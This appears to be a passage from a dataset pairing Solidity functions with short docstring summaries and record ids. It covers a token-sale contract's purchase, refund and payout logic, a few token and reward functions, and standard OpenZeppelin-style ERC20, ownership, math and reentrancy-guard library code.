SaleState.SALE) || (state == SaleState.PRESALE)); require(block.timestamp >= endSaleDate); require(!checkSoftCapAchieved()); state = SaleState.REFUND; emit ChangeState(block.number, state); } /** * @dev Payable function. Processes contribution in ETH. */ function buyTokens(address _beneficiary) public whenNotPaused payable { require((state == SaleState.PRESALE && block.timestamp >= startPreSaleDate && block.timestamp <= endPreSaleDate) || (state == SaleState.SALE && block.timestamp >= startSaleDate && block.timestamp <= endSaleDate)); require(_beneficiary != address(0)); require(msg.value > 0); uint usdAmount = currencyContract.getUsdFromETH(msg.value); assert(usdAmount >= minimalContributionUSD); uint bonusPercent = 0; if (state == SaleState.SALE) { bonusPercent = bonusContract.getCurrentDayBonus(startSaleDate, (state == SaleState.SALE)); } (uint totalToken, uint tokenWithoutBonus, uint tokenBonus) = calcToken(usdAmount, bonusPercent); assert((totalToken > 0 && totalToken <= calculateMaxCoinIssued())); uint usdRate = currencyContract.getCurrencyRate("ETH"); assert(storageContract.addPayment(_beneficiary, "ETH", msg.value, usdAmount, usdRate, tokenWithoutBonus, tokenBonus, bonusPercent, 0)); assert(currencyContract.addPay("ETH", msg.value, usdAmount, totalToken, tokenBonus)); emit AddPay(_beneficiary); } /** * @dev Manually add alternative contribution payment. * @param ticker string * @param value uint * @param uId uint contributor identificator * @param _pId uint payment identificator * @param _currencyUSD uint current ticker rate (optional field) */ function addPay(string ticker, uint value, uint uId, uint _pId, uint _currencyUSD) public onlyMultiOwnersType(6) { require(value > 0); require(storageContract.checkUserIdExists(uId)); require(_pId > 0); string memory _ticker = ticker; uint _value = value; assert(currencyContract.checkTickerExists(_ticker)); uint usdAmount = currencyContract.getUsdFromCurrency(_ticker, _value, _currencyUSD); assert(usdAmount > 0); uint bonusPercent = 0; if (state == SaleState.SALE) { bonusPercent = bonusContract.getCurrentDayBonus(startSaleDate, (state == SaleState.SALE)); } (uint totalToken, uint tokenWithoutBonus, uint tokenBonus) = calcToken(usdAmount, bonusPercent); assert(tokenWithoutBonus > 0); uint usdRate = _currencyUSD > 0 ? _currencyUSD : currencyContract.getCurrencyRate(_ticker); uint pId = _pId; assert(storageContract.addPayment(uId, _ticker, _value, usdAmount, usdRate, tokenWithoutBonus, tokenBonus, bonusPercent, pId)); assert(currencyContract.addPay(_ticker, _value, usdAmount, totalToken, tokenBonus)); emit AddPay(storageContract.getContributorAddressById(uId)); } /** * @dev Edit contribution payment. * @param uId uint contributor identificator * @param payId uint payment identificator * @param value uint * @param _currencyUSD uint current ticker rate (optional field) * @param _bonusPercent uint current ticker rate (optional field) */ function editPay(uint uId, uint payId, uint value, uint _currencyUSD, uint _bonusPercent) public onlyMultiOwnersType(7) { require(value > 0); require(storageContract.checkUserIdExists(uId)); require(payId > 0); require((_bonusPercent == 0 || _bonusPercent <= getPreSaleBonusPercent())); PaymentInfo memory payment = getPaymentInfo(uId, payId); EditPaymentInfo memory paymentInfo = calcEditPaymentInfo(payment, value, _currencyUSD, _bonusPercent); assert(paymentInfo.tokenWithoutBonus > 0); assert(paymentInfo.currency.value > 0); assert(paymentInfo.currency.usdRaised > 0); assert(paymentInfo.currency.usdAbsRaisedInCents > 0); assert(paymentInfo.currency.coinRaisedInWei > 0); assert(currencyContract.editPay(payment.pType, paymentInfo.currency.value, paymentInfo.currency.usdRaised, paymentInfo.currency.usdAbsRaisedInCents, paymentInfo.currency.coinRaisedInWei, paymentInfo.currency.coinRaisedBonusInWei)); assert(storageContract.editPaymentByUserId(uId, payId, value, paymentInfo.usdAmount, paymentInfo.currencyUSD, paymentInfo.totalToken, paymentInfo.tokenWithoutBonus, paymentInfo.tokenBonus, paymentInfo.bonusPercent)); assert(reCountUserPreSaleBonus(uId)); emit EditPay(storageContract.getContributorAddressById(uId)); } /** * @dev Refund contribution payment. * @param uId uint * @param payId uint */ function refundPay(uint uId, uint payId) public onlyMultiOwnersType(18) { require(storageContract.checkUserIdExists(uId)); require(payId > 0); (CurrencyInfo memory currencyInfo, bytes32 pType) = calcCurrency(getPaymentInfo(uId, payId), 0, 0, 0, 0); assert(storageContract.refundPaymentByUserId(uId, payId)); assert(currencyContract.editPay(pType, currencyInfo.value, currencyInfo.usdRaised, currencyInfo.usdAbsRaisedInCents, currencyInfo.coinRaisedInWei, currencyInfo.coinRaisedBonusInWei)); assert(reCountUserPreSaleBonus(uId)); emit RefundPay(storageContract.getContributorAddressById(uId)); } /** * @dev Check if softCap is reached */ function checkSoftCapAchieved() public view returns(bool) { return softCapAchieved || getTotalUsdRaisedInCents() >= softCapUSD; } /** * @dev Set softCapAchieved=true if softCap is reached */ function activeSoftCapAchieved() public onlyMultiOwnersType(8) { require(checkSoftCapAchieved()); require(getCoinBalance() >= maxDistributeCoin); softCapAchieved = true; emit SoftCapAchieved(getTotalUsdRaisedInCents()); } /** * @dev Send ETH from contract balance to multiSig. */ function getEther() public onlyMultiOwnersType(9) { require(getETHBalance() > 0); require(softCapAchieved && (!multiSigReceivedSoftCap || (state == SaleState.END))); uint sendEther = (address(this).balance / 2); assert(sendEther > 0); address(multiSig1).transfer(sendEther); address(multiSig2).transfer(sendEther); multiSigReceivedSoftCap = true; } /** * @dev Return maximum amount buy token. */ function calculateMaxCoinIssued() public view returns (uint) { return maxDistributeCoin - currencyContract.getCoinRaisedInWei(); } /** * @dev Return raised SHPC in wei. */ function getCoinRaisedInWei() public view returns (uint) { return currencyContract.getCoinRaisedInWei(); } /** * @dev Return raised usd in cents. */ function getTotalUsdRaisedInCents() public view returns (uint) { return currencyContract.getTotalUsdRaisedInCents(); } /** * @dev Return all currency rate in json. */ function getAllCurrencyTicker() public view returns (string) { return currencyContract.getAllCurrencyTicker(); } /** * @dev Return SHPC price in cents. */ function getCoinUSDRate() public view returns (uint) { return currencyContract.getCoinUSDRate(); } /** * @dev Retrun SHPC balance in contract. */ function getCoinBalance() public view returns (uint) { return coinContract.balanceOf(address(this)); } /** * @dev Return balance ETH from contract. */ function getETHBalance() public view returns (uint) { return address(this).balance; } /** * @dev Processing of the data of the contributors. Bonus assignment for presale. * @param start uint > 0 * @param limit uint > 0 */ function processSetPreSaleBonus(uint start, uint limit) public onlyMultiOwnersType(10) { require(state == SaleState.CALCPSBONUS); require(start >= 0 && limit > 0); //require(storageContract.checkNeedProcessPreSaleBonus(getMinReachUsdPayInCents())); uint bonusToken = storageContract.processPreSaleBonus(getMinReachUsdPayInCents(), getPreSaleBonusPercent(), start, limit); if (bonusToken > 0) { assert(currencyContract.addPreSaleBonus(bonusToken)); } } /** * @dev Processing of the data of the contributor by uId. Bonus assignment for presale. * @param uId uint */ function reCountUserPreSaleBonus(uint uId) public onlyMultiOwnersType(11) returns(bool) { if (uint(state) > 1) { // > PRESALE uint maxPayTime = 0; if (state != SaleState.CALCPSBONUS) { maxPayTime = startSaleDate; } (uint befTokenBonus, uint aftTokenBonus) = storageContract.reCountUserPreSaleBonus(uId, getMinReachUsdPayInCents(), getPreSaleBonusPercent(), maxPayTime); assert(currencyContract.editPreSaleBonus(befTokenBonus, aftTokenBonus)); } return true; } /** * @dev Contributor get SHPC. */ function getCoins() public { return _getCoins(msg.sender); } /** * @dev Send contributors SHPC. * @param start uint * @param limit uint */ function sendSHPCtoContributors(uint start, uint limit) public onlyMultiOwnersType(12) { require(state == SaleState.END); require(start >= 0 && limit > 0); require(getCoinBalance() > 0); //require(storageContract.checkNeedSendSHPC(state == SaleState.END)); for (uint i = start; i < limit; i++) { uint uId = storageContract.getContributorIndexes(i); if (uId > 0) { address addr = storageContract.getContributorAddressById(uId); uint coins = storageContract.getTotalCoin(addr); if (!storageContract.checkReceivedCoins(addr) && storageContract.checkWalletExists(addr) && coins > 0 && ((storageContract.checkPreSaleReceivedBonus(addr) && block.timestamp >= unfreezeRefundPreSale) || (!storageContract.checkPreSaleReceivedBonus(addr) && block.timestamp >= unfreezeRefundAll))) { if (coinContract.transfer(addr, coins)) { storageContract.setReceivedCoin(uId); emit SendSHPCtoContributor(addr); } } } } } /** * @dev Set startPreSaleDate * @param date timestamp */ function setStartPreSaleDate(uint date) public onlyMultiOwnersType(13) { uint oldDate = startPreSaleDate; startPreSaleDate = date; emit ManualChangeStartPreSaleDate(oldDate, date); } /** * @dev Set startPreSaleDate * @param date timestamp */ function setEndPreSaleDate(uint date) public onlyMultiOwnersType(14) { uint oldDate = endPreSaleDate; endPreSaleDate = date; emit ManualChangeEndPreSaleDate(oldDate, date); } /** * @dev Set startSaleDate * @param date timestamp */ function setStartSaleDate(uint date) public onlyMultiOwnersType(15) { uint oldDate = startSaleDate; startSaleDate = date; emit ManualChangeStartSaleDate(oldDate, date); } /** * @dev Set endSaleDate * @param date timestamp */ function setEndSaleDate(uint date) public onlyMultiOwnersType(16) { uint oldDate = endSaleDate; endSaleDate = date; emit ManualEndSaleDate(oldDate, date); } /** * @dev Return SHPC from contract. When sale ended end contributor got SHPC. */ function getSHPCBack() public onlyMultiOwnersType(17) { require(state == SaleState.END); require(getCoinBalance() > 0); //require(!storageContract.checkNeedSendSHPC(state == SaleState.END)); coinContract.transfer(msg.sender, getCoinBalance()); } /** * @dev Refund ETH contributor. */ function refundETH() public { return _refundETH(msg.sender); } /** * @dev Refund ETH contributors. * @param start uint * @param limit uint */ function refundETHContributors(uint start, uint limit) public onlyMultiOwnersType(19) { require(state == SaleState.REFUND); require(start >= 0 && limit > 0); require(getETHBalance() > 0); //require(storageContract.checkETHRefund(state == SaleState.REFUND)); for (uint i = start; i < limit; i++) { uint uId = storageContract.getContributorIndexes(i); if (uId > 0) { address addr = storageContract.getContributorAddressById(uId); uint ethAmount = storageContract.getEthPaymentContributor(addr); if (!storageContract.checkRefund(addr) && storageContract.checkWalletExists(addr) && ethAmount > 0) { storageContract.setRefund(uId); addr.transfer(ethAmount); emit Refund(addr); } } } } /** * @dev Return pre-sale bonus getPreSaleBonusPercent. */ function getPreSaleBonusPercent() public view returns(uint) { return bonusContract.getPreSaleBonusPercent(); } /** * @dev Return pre-sale minReachUsdPayInCents. */ function getMinReachUsdPayInCents() public view returns(uint) { return bonusContract.getMinReachUsdPayInCents(); } /** * @dev Return current sale day. */ function _currentDay() public view returns(uint) { return bonusContract._currentDay(startSaleDate, (state == SaleState.SALE)); } /** * @dev Return current sale day bonus percent. */ function getCurrentDayBonus() public view returns(uint) { return bonusContract.getCurrentDayBonus(startSaleDate, (state == SaleState.SALE)); } /** * @dev Return contributor payment info. * @param uId uint * @param pId uint */ function getPaymentInfo(uint uId, uint pId) private view returns(PaymentInfo) { (, bytes32 pType, uint currencyUSD, uint bonusPercent, uint payValue, uint totalToken, uint tokenBonus,, uint usdAbsRaisedInCents, bool refund) = storageContract.getUserPaymentById(uId, pId); return PaymentInfo(pType, currencyUSD, bonusPercent, payValue, totalToken, tokenBonus, usdAbsRaisedInCents, refund); } /** * @dev Return recalculate payment data from old payment user. */ function calcEditPaymentInfo(PaymentInfo payment, uint value, uint _currencyUSD, uint _bonusPercent) private view returns(EditPaymentInfo) { (uint usdAmount, uint currencyUSD, uint bonusPercent) = getUsdAmountFromPayment(payment, value, _currencyUSD, _bonusPercent); (uint totalToken, uint tokenWithoutBonus, uint tokenBonus) = calcToken(usdAmount, bonusPercent); (CurrencyInfo memory currency,) = calcCurrency(payment, value, usdAmount, totalToken, tokenBonus); return EditPaymentInfo(usdAmount, currencyUSD, bonusPercent, totalToken, tokenWithoutBonus, tokenBonus, currency); } /** * @dev Return usd from payment amount. */ function getUsdAmountFromPayment(PaymentInfo payment, uint value, uint _currencyUSD, uint _bonusPercent) private view returns(uint, uint, uint) { _currencyUSD = _currencyUSD > 0 ? _currencyUSD : payment.currencyUSD; _bonusPercent = _bonusPercent > 0 ? _bonusPercent : payment.bonusPercent; uint usdAmount = currencyContract.getUsdFromCurrency(payment.pType, value, _currencyUSD); return (usdAmount, _currencyUSD, _bonusPercent); } /** * @dev Return payment SHPC data from usd amount and bonusPercent */ function calcToken(uint usdAmount, uint _bonusPercent) private view returns(uint, uint, uint) { uint tokenWithoutBonus = currencyContract.getTokenWeiFromUSD(usdAmount); uint tokenBonus = _bonusPercent > 0 ? tokenWithoutBonus.mul(_bonusPercent).div(100) : 0; uint totalToken = tokenBonus > 0 ? tokenWithoutBonus.add(tokenBonus) : tokenWithoutBonus; return (totalToken, tokenWithoutBonus, tokenBonus); } /** * @dev Calculate currency data when edit user payment data */ function calcCurrency(PaymentInfo payment, uint value, uint usdAmount, uint totalToken, uint tokenBonus) private view returns(CurrencyInfo, bytes32) { (,,, uint currencyValue, uint currencyUsdRaised,,,) = currencyContract.getCurrencyList(payment.pType); uint usdAbsRaisedInCents = currencyContract.getUsdAbsRaisedInCents(); uint coinRaisedInWei = currencyContract.getCoinRaisedInWei(); uint coinRaisedBonusInWei = currencyContract.getCoinRaisedBonusInWei(); currencyValue -= payment.payValue; currencyUsdRaised -= payment.usdAbsRaisedInCents; usdAbsRaisedInCents -= payment.usdAbsRaisedInCents; coinRaisedInWei -= payment.totalToken; coinRaisedBonusInWei -= payment.tokenBonus; currencyValue += value; currencyUsdRaised += usdAmount; usdAbsRaisedInCents += usdAmount; coinRaisedInWei += totalToken; coinRaisedBonusInWei += tokenBonus; return (CurrencyInfo(currencyValue, currencyUsdRaised, usdAbsRaisedInCents, coinRaisedInWei, coinRaisedBonusInWei), payment.pType); } /** * @dev Getting the SHPC from the contributor */ function _getCoins(address addr) private { require(state == SaleState.END); require(storageContract.checkWalletExists(addr)); require(!storageContract.checkReceivedCoins(addr)); require((storageContract.checkPreSaleReceivedBonus(addr) && block.timestamp >= unfreezeRefundPreSale) || (!storageContract.checkPreSaleReceivedBonus(addr) && block.timestamp >= unfreezeRefundAll)); uint uId = storageContract.getContributorId(addr); uint coins = storageContract.getTotalCoin(addr); assert(uId > 0 && coins > 0); if (coinContract.transfer(addr, coins)) { storageContract.setReceivedCoin(uId); emit SendSHPCtoContributor(addr); } } /** * @dev Refund ETH contributor when sale not reach softcap. */ function _refundETH(address addr) private { require(state == SaleState.REFUND); require(storageContract.checkWalletExists(addr)); require(!storageContract.checkRefund(addr)); uint uId = storageContract.getContributorId(addr); uint ethAmount = storageContract.getEthPaymentContributor(addr); assert(uId > 0 && ethAmount > 0 && getETHBalance() >= ethAmount); storageContract.setRefund(uId); addr.transfer(ethAmount); emit Refund(addr); } }
Set startSaleDate date timestamp/
function setStartSaleDate(uint date) public onlyMultiOwnersType(15) { uint oldDate = startSaleDate; startSaleDate = date; emit ManualChangeStartSaleDate(oldDate, date); }
15,856,482
./full_match/43114/0xa943F863fA69ff4F6D9022843Fb861BBEe45B2ce/sources/info.sol
Returns the symbol of the Tangle token return The symbol of the Tangle token (ex. "TNGL")
function symbol() external view returns (string memory) { return SLib.getS().symbol; }
4,613,212
./full_match/1/0xcD39D2B22ff6faC1f4CbA56DFf886E54F5357Bc2/sources/contracts/Gpepe new.sol
bot The bot address value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner{ require(_isBot[bot] != value); _isBot[bot] = value; }
3,205,580
./partial_match/42/0x6E68e5311d43A3a03bf6b41a0527B6209E71Dadd/sources/TokenModel.sol
Register a new future reward velocity point/
function registerRewardVelocity(uint256 _blockNumber, uint256 _rewardPerBlock, uint256 _decrementUnitPerBlock) onlyOwner public { require(_blockNumber > block.number, "new Reward params should register earlier"); require(registeredPoints.length == 0 || _blockNumber > registeredPoints[registeredPoints.length-1].blockNumber, "Earilier velocity points are already set."); _registerRewardVelocity(_blockNumber, _rewardPerBlock, _decrementUnitPerBlock); }
3,321,413
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not 